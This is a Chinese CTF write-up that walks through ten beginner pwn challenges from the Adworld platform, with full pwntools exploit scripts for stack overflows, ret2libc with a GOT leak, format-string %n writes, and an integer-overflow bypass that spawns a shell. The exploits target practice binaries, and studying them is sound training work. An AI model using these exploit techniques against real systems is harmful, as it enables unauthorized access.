【pwn】攻防世界 pwn新手区wp
【pwn】攻防世界 pwn新手区wp
前言
这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了。
1、get_shell
送分题,连接上去就是/bin/sh
不过不知道为啥我的nc连接不上。。。
还是用pwntool的remote连接的
from pwn import *
io = remote("111.200.241.244", 64209)
io.interactive()
2、hello pwn
可以看到read写入的是0x601068地址的数据,而下面的if语句判断的是0x60106C地址的数据是否为1853186401
由于这两个位置在内存中就是+4字节的关系,所以我们可以在read的过程中实现覆盖
from pwn import *
io = remote("111.200.241.244", 49847)
payload = b"bi0x" + p64(1853186401)
io.sendline(payload)
io.interactive()
3、level0
main函数中会跳转到一个vulnerable_function
一看就是明显的栈溢出,然后rsp距离rbp的距离为0x80,所以直接覆盖就行了,在覆盖掉8字节的ret addr
此外值得一提的是,64位程序中,函数的前6个参数分别由rdi、rsi、rdx、rcx、r8、r9存放的,之后的参数存放在栈中。
所以这里我们将/bin/sh存入edi中,这样system函数的第一个参数就是/bin/sh了
from pwn import *
io = remote("111.200.241.244",54678)
elf = ELF("./xctf3")
binsh_addr = next(elf.search(b"/bin/sh"))
system_addr = elf.symbols["system"]
pop_edi_addr = 0x0000000000400663
payload = b"a"*0x80 + b"bi0xbi0x" + p64(pop_edi_addr) + p64(binsh_addr) + p64(system_addr)
io.sendafter("Hello, World\n",payload)
io.interactive()
4、level2
终于来了个32位的-。-
拖入32位ida中分析,main函数中有一个vulnerable_function函数,步入分析
明显的栈溢出
我们在shift+f12中看到了/bin/sh的地址
所以直接给出exp
from pwn import *
io = remote("111.200.241.244", 63107)
elf = ELF("./xctf4")
system_plt = elf.plt["system"]
binsh_addr = next(elf.search(b"/bin/sh"))
payload = b"a"*0x88 + b"bi0x" + p32(system_plt) + b"bi0x" + p32(binsh_addr)
io.send(payload)
io.interactive()
5、string
canary开启,所以栈溢出是没戏
看题目string(字符串),那么可能是格式化字符串了
拖入64位ida中分析
首先分析main函数,告诉我们有两个关键的指针地址,分别是v4[0]额v4[1]的地址,然后进入sub_400D72这个函数,传入的参数是v4[0]]这个指针
分析sub_400D72这个函数
首先叫我们输入一个用户名,然后判断这个用户名是否大于12,如果大于12长度那么结束
所以我们输入一个小于12长度的username
然后就是三个函数等着我们,sub_400A7D、sub_400BB9、sub_400CA6,我们一个个分析
首先来看sub_400A7D
输出可以看,首先叫我们选择方向east or up?
看到下面的strcmp判断,只能选择east跳出循环
然后来到下面的if,因为是east,所以直接结束执行了(不懂这个判断有啥必要。。?s1改为up大可不必)
然后是sub_400BB9
puts的也不用看,叫我们选择1or0,选1才能继续
告诉我们输入一个16字节的大小的地址
然后再输入一个wish,然后printf这个wish
很明显的格式化字符串
所以到这里就知道需要测试偏移量了
随后一个sub_400CA6(a1)
传入了a1这个参数,a1是啥,我们首先回到sub_400D72
sub_400D72传入了v4这个指针的地址,而sub_400D72这个函数的参数是a1
所以我们可以得到下图这个关键的if语句中的a1就是v4的地址,如果相等那么就mmap分配一个内存大小为0x1000的区域v1,然后我们可以向v1中写入0x100大小的数据
这里就可以想到写入一段amd64的shellcode来获取shell
需要我们将a1[0]和a1[1]相等,也就是v4[0] = v4[1]
我们如何将v4[0]赋值位85呢,利用格式化字符串!
在刚刚出现的printf中,我们先测量偏移量
我们输入的address是1,而这个0x1再printf中出现的是第8个,也就是printf的第8个参数,也就是第7个格式化字符串的参数,所以偏移量是7
所以格式化字符串只需要"a"*85+"%7$n",前面写85字节的字符串,然后传给第7个参数,这个第7个参数就是我们的v4[0]指针地址(在前面的程序开始puts的)
所以构建exp
from pwn import *
io = remote("111.200.241.244",55215)
io.recvuntil("secret[0] is ")
v4_addr = int(io.recvuntil("\n",drop=True),16)
io.sendlineafter("name be:", b"woodwhale")
io.sendlineafter("east or up?:", b"east")
io.sendlineafter("leave(0)?:", b"1")
io.sendlineafter("address'", str(v4_addr))
io.sendlineafter("And, you wish is:", b"a"*85+b"%7$n")
io.sendafter("USE YOU SPELL", asm(shellcraft.amd64.sh(),arch="amd64"))
io.interactive()
6、guess_num
保护基本都开了,看这个题目就知道是猜数字
拖入ida中分析
先看main函数
首先输入username
然后给了一个以seed[0]为种子的随机数
然后for循环猜测10次数字
全对给flag
我们需要做的就是劫持seed[0],把它改为我们想要的数字,然后有了种子,模拟和它一样的随机数
这里我们看看v7地址
再看看seed[0]的地址
相差20
我们知道函数参数是逆序压入栈中,所以第一个参数的地址最低,这样我们就可以通过gets函数覆盖掉seed[0]的值,偏移量为0x20
exp如下
这里的from ctypes import *是导入c语言库函数的一个库
这样我们就可以使用srand函数了
from pwn import *
from ctypes import *
io = remote("111.200.241.244",63989)
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(2)
payload = b"b"*0x20 + p64(2)
io.sendlineafter("name:",payload)
for i in range(10):
io.sendlineafter("number:",str(libc.rand()%6+1))
io.interactive()
7、int_overflow
又是为数不多的x86
拖入32位ida中分析
查看所有字符串,发现cat flag
看main函数
叫我们选择1or2,选1进入login,选2退出。所以选1。
步入login()函数中分析
首先读取0x19长度的username,这么点长度栈溢出肯定没用
然后读取0x199的passwd,这里栈溢出有戏,但是看了看buf和ebp的距离,0x228,我们只能读入0x199长度,所以还是覆盖不了
把希望寄托于下面的check_passwd函数,传入参数为我们刚刚写入的buf
首先v3是一个无符号的8位数,也是我们刚刚输入的buf的长度,如果v3<= 3u(这里的u指的是unsigned,也就是无符号数,也就是011),或者v3 > 8u(也就是11111111,10进制中的255),那么这样我们输入的buf就判断为无效
如何让这个判断成为true呢?与题目中的int_overflow息息相关!
因为strlen()的返回值是一个int,4字节长度,也就是8位,如果我们的buf长度大于255会发生什么呢?
例如我们的buf的长度为263,二进制就是1 0000 0111,会被strlen读取为0000 0111,那么这个111>011,并且111<11111111,这样就成功绕过
最后再strcpy中实现dest的栈溢出,dest距离ebp距离为0x14,所以构建exp
from pwn import *
io = remote("111.200.241.244",57657)
elf = ELF("./xctf7")
io.sendlineafter("choice:",b"1")
io.sendafter("username:",b"woodwhale")
cat_flag_addr = next(elf.search(b"cat flag"))
system_plt = elf.plt["system"]
payload = b"a"*0x14 + b"bi0x" + p32(system_plt) + b"bix0" + p32(cat_flag_addr)
payload += b"a"*(263-int(len(payload)))
io.sendlineafter("passwd:",payload)
io.interactive()
8、cgpwn2
为数不多的x86
拖入32位ida中
先看所有字符串,没有后门
分析main函数
清除缓冲区,然后进入hello函数。没啥好看的
我们直接步入hello函数()
前面这么多数字计算,看的眼花缭乱,但是这些都没啥用,我们要的是gets函数的栈溢出,gets中输入s变量,s距离epb为0x26
这可以看到我们再fget中标准输入的东西存入了name这个变量中,我们是不是可以在name中存放一个/bin/sh或者cat flag,然后在下面gets函数中调用system(name),这样就获取了权限
直接看name的地址,在bss段的0x0804A080
那么直接构建exp
from pwn import *
io = remote("111.200.241.244",49222)
elf = ELF("./xctf8")
system_plt = elf.plt["system"]
binsh_addr = 0x0804A080
io.sendlineafter("name","cat flag")
payload = b"b"*0x26 + b"bi0x" + p32(system_plt) + b"bi0x" + p32(binsh_addr)
io.sendlineafter("here:",payload)
io.interactive()
9、level3
还是x86,拖入ida
题目还给了个libc,一看就是ret2libc3
先看字符串,肯定是没有system的plt地址和后门的
main函数中有用的就是这个vulneravle_function函数
有个gets的栈溢出
这里需要了解动态连接的知识点
第一次调用一个函数,比如write(),write.plt会去找write.got索要write的真实地址,但是write.got不知道,所以让write.plt自己去找,然后write.plt自己找到了,将这个地址放在了write.got表中
第二次调用,write.plt会直接去找write.got,这个时候因为got表中存放了write的真实地址,所以直接给了write.plt,所以直接指向了write的真实地址
这是前置知识,不明白的去ctf-wiki的ret2libc3中恶补一下
这题我们需要的就是通过write可以写数据到控制台中,将write的got表地址中存储的write的真实地址输出,然后通过题目给的libc文件,得到libc的基地址,然后根据基地址去寻找system函数和/bin/sh的真实地址
我们第一次调用的时候,先执行write函数,将write的got表中存储的真实地址打印出来,然后执行_start函数,让程序再次运行
第二次程序运行,我们得到了system和bin/sh的地址,直接调用就okk了
from pwn import *
io = remote("111.200.241.244",57553)
libc = ELF("./libc_32.so.6")
elf = ELF("./xctf9")
write_got = elf.got["write"]
write_plt = elf.plt["write"]
start_addr = elf.symbols["_start"]
payload = b"b"*0x88 + b"bi0x" + p32(write_plt) + p32(start_addr) + p32(1) + p32(write_got) + p32(4)
io.sendafter(b"Input:\n",payload)
write_true_addr = u32(io.recv(4))
libc_base = write_true_addr - libc.symbols["write"]
system_true_addr = libc_base + libc.symbols["system"]
binsh_true_addr = libc_base + next(libc.search(b"/bin/sh"))
payload = b"a"*0x88 + b"biox" + p32(system_true_addr) + b"bi0x" + p32(binsh_true_addr)
io.send(payload)
io.interactive()
10、CGfsb
还是32位,拖入ida中分析
看main函数
直接看到了格式化字符串
只要我们的pwnme这个变量值为8,那么我们就可以cat flag
首先测试偏移量
测得偏移量为10
那么直接写exp
from pwn import *
io = remote("111.200.241.244",53590)
pwnme_addr = 0x0804A068
payload = p32(pwnme_addr) + b"bi0x%10$n"
io.sendlineafter("name:",b"woodwhale")
io.sendlineafter("please:",payload)
io.interactive()
这里的pwnme需要的值是8,而我们输入的地址是4字节的,所以前面还需要4个char字符,这样4 + 4 = 8,我们的pwnme就可以赋值为8
【pwn】攻防世界 pwn新手区wp的更多相关文章
- 攻防世界web新手区
攻防世界web新手区 第一题view_source 第二题get_post 第三题robots 第四题Backup 第五题cookie 第六题disabled_button 第七题simple_js ...
- 攻防世界web新手区做题记录
学校信安协会第一次培训结束后的作业,要求把攻防世界的web新手区题目做一遍并写题解. 第一题 view_source 查看源代码右键不能用,但是F12能用,于是找到源代码 输入到flag框即可 后来在 ...
- CTF -攻防世界-crypto新手区(5~11)
easy_RSA 首先如果你没有密码学基础是得去恶补一下的 然后步骤是先算出欧拉函数 之后提交注意是cyberpeace{********}这样的 ,博主以为是flag{}耽误了很长时间 明明没算错 ...
- 2019攻防世界web新手区
robots 看了题目描述,发现与robots协议有关,过完去百度robots协议.发现了robots.txt,然后去构造url访问这个文件 http://111.198.29.45:42287/ro ...
- 攻防世界web新手区(3)
xff_referer:http://111.198.29.45:43071 打开网址,显示出这个页面: X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP, ...
- CTF -攻防世界-crypto新手区(1~4)
题目已经提示用base64直接解密就行 base64解密网址 http://tool.oschina.net/encrypt?type=3 题目提示是凯撒密码 http://www.zjslove.c ...
- CTF -攻防世界-web新手区
直接f12出来 先用get后加/?a=1 然后火狐装hackbar(老版本)f12 post b=2 搞定 Hackbar:https://github.com/Mr-xn/hackbar2.1.3 ...
- CTF -攻防世界-misc新手区
此题flag题目已经告诉格式,答案很简单. 将附件下载后,将光盘挂到虚拟机启动 使用 strings linux|grep flag会找到一个O7avZhikgKgbF/flag.txt然后root下 ...
- 攻防世界misc新手区前三题
1.this_is_flag 从题目以及题目的描述来看,不难发现实际上题目中所描述的就是flag 2.Pdf 拿到题目附件是pdf文件,观察题目描述,题目说图下面什么都没有,那么十有八九图下面肯定是f ...
随机推荐
- java nio 写一个完整的http服务器 支持文件上传 chunk传输 gzip 压缩 使用过程 和servlet差不多
java nio 写一个完整的http服务器 支持文件上传 chunk传输 gzip 压缩 也仿照着 netty处理了NIO的空轮询BUG 本项目并不复杂 代码不多 ...
- TensorFlow.NET机器学习入门【0】前言与目录
曾经学习过一段时间ML.NET的知识,ML.NET是微软提供的一套机器学习框架,相对于其他的一些机器学习框架,ML.NET侧重于消费现有的网络模型,不太好自定义自己的网络模型,底层实现也做了高度封装. ...
- Nginxre quest_time 和upstream_response_time
nginx优化之request_time 和upstream_response_time差别 https://www.cnblogs.com/dongruiha/p/7007801.html http ...
- 在react项目中使用require引入图片不生效
如果使用create-react-app和require导入图像,require返回一个ES模块而不是字符串.这是因为在file-loader中,esModule选项是默认启用的. 用以下方式之一导入 ...
- Linux(centos)系统导出数据库文件命令
mysqldump -uroot -p test > /test.sql -uroot 其中的root是数据库的用户名 test是要导出的数据库名字 test.sql 是要导出的数据库文件名字, ...
- JAVA整合Redis使用redisTemplate清除库中的所有键值对数据
JAVA整合Redis使用redisTemplate清除库中的所有键值对数据,清除所有缓存数据 Set<String> keys = redisTemplate.keys("*& ...
- 🍃【Spring专题】「原理系列」SpringMVC的运行工作原理(补充修订)
承接相关之前的SpringMVC的框架技术的流程分析 初始化流程(initStrategies) 执行流程 寻找相关HandlerMapping 请求到DispatcherServlet类进行执行相关 ...
- 【LeetCode】459. Repeated Substring Pattern 解题报告(Java & Python)
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 遍历子串 日期 [LeetCode] 题目地址:ht ...
- 【LeetCode】173. Binary Search Tree Iterator 解题报告(Python)
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 保存全部节点 只保留左节点 日期 题目地址:http ...
- Harry Potter and the Hide Story(hdu3988)
Harry Potter and the Hide Story Time Limit: 10000/5000 MS (Java/Others) Memory Limit: 65536/65536 ...